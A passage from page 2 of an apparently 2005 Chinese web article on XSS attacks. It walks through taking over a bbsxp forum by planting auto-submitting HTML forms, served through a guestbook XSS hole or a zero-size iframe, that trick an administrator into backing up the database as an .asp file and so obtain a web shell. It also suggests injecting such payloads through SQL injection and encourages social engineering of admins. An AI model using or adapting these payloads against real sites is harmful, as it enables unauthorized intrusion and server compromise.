正 文

最新的黑客技术:详解XSS跨站脚本攻击


www.7dspace.com  更新日期:2005-12-14 3:32:14  七度空间


  三、来自外部的跨站攻击

  有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

  例:先上传一个文件linzi.txt,内容如下:

<body onload="javascript:document.forms[0].submit()"><form
action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"><input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" ></body></html>

  上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:

  http://127.0.0.1/bbsxp/page2.asp?username=

  我们构造备份跨站语句如下:

<FORM action=http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf method=post><INPUT value=database/bbsxp.mdb name=yl><INPUT value=database/shit.asp name=bf></form>

  或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。

  当管理员打开后,会自动备份得到一个shell.

  四、XSS与其它技术的结何

  从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用 iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。

  总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!

  五、Flash木马的制作

  略

2页,页码:[1] [2] 

上一篇:为自己的网店商品照片优化出好“卖像”
下一篇:把秘密藏在图片中 另类加密软件大比拼
作者:  来源:blog ( 责任编辑:7dspace )
收藏此页】【打印】【关闭
站 内 搜 索
 

热 点 导 读
特 别 推 荐